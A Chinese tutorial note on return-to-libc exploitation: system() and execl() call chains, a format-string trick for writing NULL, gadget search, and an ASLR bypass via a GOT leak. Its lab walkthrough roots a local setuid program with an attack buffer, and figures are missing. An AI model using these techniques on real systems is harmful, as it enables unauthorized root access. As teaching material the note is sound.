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return2libc学习笔记

0x00 背景介绍

author:万抽抽

r2libc技术是一种缓冲区溢出利用技术,主要用于克服常规缓冲区溢出漏洞利用技术中面临的no stack executable限制( 所以后续实验还是需要关闭系统的ASLR,以及堆栈保护 ),比如PaX和ExecShield安全策略。该技术主要是通过覆盖栈帧中保存的函数返回地址(eip),让其定位到libc库中的某个库函数(如,system等),而不是直接定位到shellcode。然后通过在栈中精心构造该库函数的参数,以便达到类似于执行shellcode的目的。

0x01 技术原理

大致技术原理,如图1-1所示:

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图1-1 r2libc技术原理

简要概括如下:

1) 使用libc库中system函数的地址覆盖掉原本的返回地址;这样原函数返回的时候会转而调用system函数。

获取system函数的返回地址很简单,只需要使用gdb调试目标程序,在main函数下断点,程序运行中断在断点处后,使用 p system 命令即可:

#!bash >>> p system $1 = {<text variable, no debug info>} 0xb7e56190 <__libc_system> 

该方法可以获取任意libc函数的地址。

2) 设置system函数返回后的地址,以及为system函数构造我们预定的参数。

难点主要在第2步中system函数相关的栈帧结构的安排上,比如为什么Filler就是Return Address After system,为什么传递给system的参数紧跟在Fillter之后?这就涉及到函数的调用规则。我们知道函数调用在汇编中通过call指令实现,而函数返回则通过ret指令实现。Call指令可以实现多种方式的函数跳转,这里为了简便,暂且只考虑跳转地址在内存中的call指令的实现

CPU在执行call指令时需要进行两步操作:

  1. 将当前的IP(也就是函数返回地址)入栈,即: push IP ;
  2. 跳转,即: jmp dword ptr 内存单元地址

CPU在执行ret指令时只需要恢复IP寄存器即可,因此ret指令相当于 pop IP

因此对于正常函数调用而言,其栈帧结构如下图1-2所示:

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图1-2 函数调用栈帧结构图

但是由于我们使用system的函数地址替换了原本的IP寄存器,强制执行system函数,破坏了原程序的栈帧分配和释放策略,所以后续的操作必须基于这个被破坏的栈帧结构实现。

1.1 为何Filler是函数的返回地址

首先,解释为何Filler是函数的返回地址。这需要我们查看system函数的汇编实现。通过 gdb调试得到如下信息:

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图1-3 system函数汇编实现

正常情况下,我们是通过call指令进行函数调用的,因此在进入到system函数之前,call指令已经通过push IP将其返回地址push到栈帧中了,所以在正常情况下ret指令pop到 IP的数据就是之前call指令push到栈帧的数据,也就是说两者是成对的。但是!!!在我们的漏洞利用中,直接通过覆盖IP地址跳转到了system函数,而并没有经过call调用,也即是没有push IP的操作,但是system函数却照常进行了ret指令的pop IP操作。那么这个ret指令pop到IP的是哪一处地址的数据呢?答案就是Filler!

在程序执行到图1-1中的Saved EIP(即system函数地址)的时候,此时的ESP指向了Filler,然后就转而执行system函数。通过分析system函数的汇编实现可以看出:该函数中对ESP的操作都是成对出现的,如 push %ebxpop %ebx 等。所以当执行到ret指令时,ESP还是指向Filler,也就是说ret指令内涵的pop IP操作就是将Filler的数据pop到IP寄存器中!

1.2 为何传递给system的参数紧跟在Filler之后

其实通过2.1节的分析,答案已经很明了了。在正常的函数调用中,其栈帧分布如图1-2所示,但是在此漏洞利用中,由于我们强制更改了调用过程,省去了call调用的push IP步骤,因此就造成了 Filler变成了EIP 。但是,需要注意的是,我们也仅仅是省去了push IP这一步而已,其他步骤与正常函数调用并无区别,所以如果我们将Filler看做是保存的返回地址EIP的话,那么它“之后(相对栈增长方向而言)”的数据就自然而然变成了system函数的参数了。

1.3构造"/bin/sh"参数

下面唯一的问题就是如何在栈中构造”/bin/sh”参数了。当然,这里用“构造”一词并不准确,“借用”更合适——我们从内存中搜寻此字符串,然后将该字符串在内存中的起始地址赋值到Filler之后即可。那么如何获取到这个字符串的地址呢?我们知道,LINUX的SHELL环境变量的值一般就是“/bin/sh”,所以我们可以通过gdb调试器,暴力搜索 %esp 寄存器之后开始的n个字符串,方法如下图1-4所示:

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图1-4 GDB暴力搜索字符串

但是这种方法比较“非黑客范”,个人觉得gray hat hacking第四版中提及的方法更犀利,该方法先通过dlopen和dlsym获取system之类的函数的地址,再借助于setjmp与longjmp函数以及信号量机制,以system函数的地址为起点从前、后两个方向搜索字符串,详情见书本LAB11-5。

还有一种更简单的方法,详细步骤如下图1-5所示:

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图1-5 构造“/bin/sh”参数方法三

只要我们将 CHOUCHOU_SH 定义为“/bin/sh”即可。可以用这种方式借助环境变量构造任意的字符串。此方法会在后文中大量使用。这里gtenv的源代码如下:

#!cpp #include <stdio.h> #include <stdlib.h>  int main(int argc, char *argv[]) {     char *addr;     addr = getenv(argv[1]);     printf("%s is located at %p/n", argv[1], addr);     return 0; } 

构造完参数之后,return to libc利用就算告一段落了,但是该方案是基于system函数实现的,且在一次攻击中只执行一个libc函数,局限性较大,另外system函数有一个致命的缺陷就是:有时候我们并不能利用它成功获取root权限。

因为system函数本质上就是通过fork一个子进程,然后该子进程通过系统自带的sh执行system的命令。而在某些系统中,在启动新进程执行sh命令的时候会将它的特权给剔除掉(如果/bin/sh指向zsh,则不会进行权限降低;如果/bin/sh指向bash则会进行权限降低),这样我们system就无法获取root权限了。

为了解决这个问题,高手们又研发了一种更高级的攻击技术——基于libc的函数调用链攻击。

0x02 基于libc的函数调用链攻击原理

回顾图1-1,我们知道system函数执行后,其返回地址是Filler,因此如果我们将需要执行的第二个libc函数的地址放置到Filler上,那么不就构造了一个函数调用链么?详情见图2-1:

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图2-1基于libc的函数调用链攻击原理图

前面说到,单纯通过system函数不一定能够获取到root权限,但是,如果我们在执行system函数之前,先通过setuid(0)函数将正在运行的程序的SET-UID提升至root权限,然后再通过system函数执行sh就一定能够获取root权限了(关于为什么通过setuid(0)设置SET-UID为root权限之后,system执行sh就能获取root权限,超出了本文的范畴,大家可自行google)。

0x03 进阶——使用Execl函数

前文提到,使用system函数必须结合setuid(0)函数才能确保获取root权限,这种处理相对麻烦,好在我们可以直接使用execl函数解决(system是通过fork子进程执行shell,而execl是直接在当前进程中执行shell)。

Execl函数的标准用法如下: Execl("/bin/sh","/bin/sh", NULL)

这引入了一个新的问题——如何构造‘NULL’参数。因为在输入参数中是不能夹杂NULL字节的,否则会截断我们构造的攻击buffer。所以我们得采用迂回的办法——借助格式化字符串漏洞,在漏洞程序进程的堆栈中构造一个‘NULL’参数,而不是直接输入。

3.1 构造‘NULL’参数

格式化字符串漏洞主要是利用printf函数的format参数进行攻击,这里我们需要构造一个特定的format参数以实现在“合适的位置”写入’NULL’参数。

很自然地,我们会想到利用格式化字符串中的‘ %#$n ’。这里的“ # ”的具体数值需要根据NULL参数在stack中的offset加以确定。具体的构造方式在后文详细介绍。

3.2 构造libc函数调用链

根据我们的攻击逻辑,我们需要完成如下几步:

  1. 基于格式化字符串漏洞,利用printf函数构造execl函数的第三个参数“NULL”;
  2. 调用execl函数执行sh;
  3. 调用exit函数,退出攻击。

因此,我们需要构造如图3-1所示的stack数据:

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图3-1 构造实施攻击的栈结构

简要概括上图的执行逻辑:

  1. 先通过 printf(“%5$n”) 函数将Addr of HERE处字节设置为NULL;
  2. 执行POP/RET指令,跳转到并执行 execl(“/bin/sh”, “/bin/sh”, NULL) 函数;
  3. 执行exit函数,完成攻击。

这里我们详细探讨1、2步的实现原理。

一、为什么用“%5$n”作为参数?

因为Addr of HERE的地址刚好离Addr of ‘%5$n’有 5个指针 的距离。根据表3-1 Blaess, Grenier, and Raynal提出的magic formula中最后一行的推导公式可以得出以上结论。

表3-1 magic formula

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另外,提及一点注意事项:在Linux shell中,如果使用双引号 ” ” 包含字符串的话,就需要在’ $ ’之前加上转义字符 ‘/’ ,如果使用单引号 ’ ’ 包含字符串的话,就不需要额外添加转义字符 ’/’ 了。详情见:

http://lspgyy.blog.51cto.com/5264172/1282107 (值得一看!)

二、POP/RET指令的作用

为什么它能够让程序正确无误地跳转到execl函数并执行呢?首先我们需要知道这里的POP/RET指令是指两条连续的指令:

#!bash pop %ebp ret 

结合1.1章节的分析,可以知道当执行完printf函数之后,此时的esp指针指向图3-1中的Add of ‘%5$n’处,如图3-2所示:

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图3-2 执行完printf函数后的ESP指针位置

现在开始执行 pop %ebp 指令,将Addr of ‘%5$n’放入ebp寄存器中;然后再执行 ret 指令(即 pop IP ),将Addr of execl放入IP寄存器中,这样程序下一步就会转而执行execl函数了,而此时的ESP指针指向Addr of exit,如下图3-3所示:

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图3-3 开始执行execl函数之前ESP指针位置

那么我们如何在目标进程的内存中找到这个POP/RET指令呢?这里需要借助metasploits的msfelfscan程序,假设目标程序为target,那么可以通过如下命令获取:

#!bash msfelfscan –p –D target -p, --poppopret,表示Search for pop+pop+ret combinations; -D, --disasm,表示Disassemble the bytes at this address; 

输出结果如下:

#!bash 0x080484ae pop edi; pop ebp; ret 0x080484ae  pop edi 0x080484af  pop ebp 0x080484b0  ret 

现在我们就成功获取了目标程序中POP/RET指令的地址了。

至此利用execl的整个攻击逻辑和关键技术点,就介绍完毕了,下面我们找个例子进行实际操作。

0x04 实战演练

含有缓冲区溢出漏洞的程序源代码如下:

#!cpp /*vuln.c*/ #include <stdio.h>  /*small buffer vuln prog*/ int main(int argc, char* argv[]) {     char buffer[7];     strcpy(buffer, argv[1]);     return 0; } 

我们关闭系统的ASLR保护机制之后,再使用root用户编译:

#!bash # gcc  -fno-stack-protector  -o  vuln  vuln.c 

然后添加SET-UID: # chmod u+s vuln

然后退出root用户,切换到普通用户模式: # exit

现在我们可以开始以普通用户权限进行提权攻击了!整个攻击工作可以分为两个大的步骤:1)确定漏洞buffer的大小;2)开始构建攻击buffer。

4.1 确定漏洞buffer大小

为方便快速确定大小,我们可以借助metasploits提供的pattern_create.rb和pattern_offset脚本。前者用于生成特殊的输入数据,后者用于帮助确定指定数据在该输入数据中的偏移值。

pattern_create.rb的使用方式如下:

#!bash Usage: pattern_create.rb length [set a] [set b] [set c] 

这里我们使用pattern_create.rb 250生成250字节的输入数据:

#!bash   Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2A 

然后使用gdb调试目标程序:

#!bash [email protected]

:~/security/flaws/return2libc$ gdb ./vuln -q Reading symbols from ./vuln…(no debugging symbols found)…done. >>> r Aa0……i2A(省略部分输入数据) 回车之后,gdb输出如下错误数据: Program received signal SIGSEGV, Segmentation fault. 0x61413661 in ?? () Traceback (most recent call last): File "<string>", line 701, in lines File "<string>", line 116, in run gdb.error: No function contains program counter for selected frame.

显然,目标程序去执行0x61413661的地址时发生错误,这个地址就是被我们使用攻击buffer覆盖后的EIP地址,现在我们使用pattern_offset.rb查找这个地址在攻击buffer中的位置:

#!bash [email protected]

:~/security/flaws/return2libc$ pattern_offset.rb 0x61413661 250 [*] Exact match at offset 19

好了,现在我们已经确定了用于覆盖的EIP的数据在攻击buffer中的偏移值为19,下面就开始精心构造攻击buffer了。

4.2 构建攻击buffer

从前文的分析知道,要使用execl完成基于ret2libc的root提权攻击,我们需要实现搜集如下数据信息:

  1. printf函数的地址,以及printf函数要使用的字符串’%5$n’的地址;
  2. execl函数的地址,以及该函数使用的’/bin/sh’字符串的地址;
  3. exit函数的地址;
  4. POP/RET 指令块的地址。

    Printf 0xb7e63280 Execl 0xb7ecbec0 Exit 0xb7e491e0 ‘%5$n’ 0xbffff2b6 ‘/bin/sh’ 0xbffffa6e POP/RET 0x080484af Addr of NULL 0xbfffefc9+18+4*7=0xbfffeff7

获取了这些数据之后,将它们各自安插到图3-1的合适位置即可构造对应的攻击buffer。

19字节overflow| 0xb7e63280 | 0x080484af | 0xbffff284 |     0xb7ecbec0 | 0xb7e491e0 | 0xbffffeea | 0xbffffeea | 0xbfffeff7 

0x05 对抗ASLR

鉴于ASLR机制只是将既然stack,heap以及共享库文件的起始地址进行了随机化,而文件内部各部分数据之间的偏移值却是固定不变的,所以攻击的整体思路如下:

先泄漏出libc.so某些函数在内存中的地址,然后再利用泄漏出的函数地址根据偏移量计算出system()函数等其他函数的地址,字符串地址类似。

那么怎么才能泄露出Libc库文件的地址呢?考虑到程序本身在内存中的地址并不是随机的,所以只要将返回值设置到程序本身所处的内存段就可以了,当然, 前提是我们必须获取目标系统中的libc.so库文件 。Linux内存随机化分布图如下图所示:

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整体攻击思路:

1.观察目标程序,查看其本身使用的、处于Libc库文件的库函数,常见的函数有write, read等;

观察方法很简单:

1) 首先使用 objdump –R 命令查看目标文件的 动态重定位项 ,也就是常说的 GOT表项

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2) 然后使用 objdump –j .glt –d 命令反编译目标文件的 plt表

#!bash Disassembly of section .plt:  08048300 <[email protected]

>: 8048300: ff 35 04 a0 04 08 pushl 0x804a004 8048306: ff 25 08 a0 04 08 jmp *0x804a008 804830c: 00 00 add %al,(%eax) … 08048310 <[email protected]>: 8048310: ff 25 0c a0 04 08 jmp *0x804a00c 8048316: 68 00 00 00 00 push $0x0 804831b: e9 e0 ff ff ff jmp 8048300 <_init+0x30> 08048320 <[email protected]>: 8048320: ff 25 10 a0 04 08 jmp *0x804a010 8048326: 68 08 00 00 00 push $0x8 804832b: e9 d0 ff ff ff jmp 8048300 <_init+0x30> 08048330 <[email protected]>: 8048330: ff 25 14 a0 04 08 jmp *0x804a014 8048336: 68 10 00 00 00 push $0x10 804833b: e9 c0 ff ff ff jmp 8048300 <_init+0x30> 08048340 < [email protected]

>: 8048340: ff 25 18 a0 04 08 jmp *0x804a018 8048346: 68 18 00 00 00 push $0x18 804834b: e9 b0 ff ff ff jmp 8048300 <_init+0x30>

熟悉linux中elf文件的动态重定位机制都知道,由于linux采用懒绑定机制,所以对于GOT表中的动态重定位符号,在第一次调用的时候got表项会定位到其对应的plt表项中,再由该plt表项转到真正的函数处。第一次执行完之后,系统会将此时GOT表项的位置加以修改,直接指向真正的函数处,而不再指向之前的plt表项。

2.根据第1步的结果确定想要获取的属于Libc的某个函数的地址,这里我们使用write函数。获取方法并不难,从上面对linux动态重定位机制的介绍可以知道,我们只需要按照如下方式做就可以了:首先构造payload执行目标文件的write函数(怎么执行呢?[email protected]

), [email protected][email protected]

的write函数的地址,所以我们再使用write函数打印出该地址即可:payload构造如下:

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即执行 write(STDOUT, &[email protected]

, 4),这样就会将libc中真正的write函数地址打印到标准输出中。这里的vul_func地址可以通过 objdump –d

获取,当然使用IDA更方便。

3.获取了write的真正地址之后,只需要根据libc中write函数与system函数的相对偏移地址就可以计算出system函数真正的地址,计算公式如下:

#!bash system_real_addr = write_real_addr – ( write_addr_in_libc – system_addr_in_libc) 

字符串的地址获取方式类似,这里不再细说。

4.执行 system(‘/bin/sh’) ,payload构造如下:

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0x06 参考文献

介绍setuid的两篇好文:

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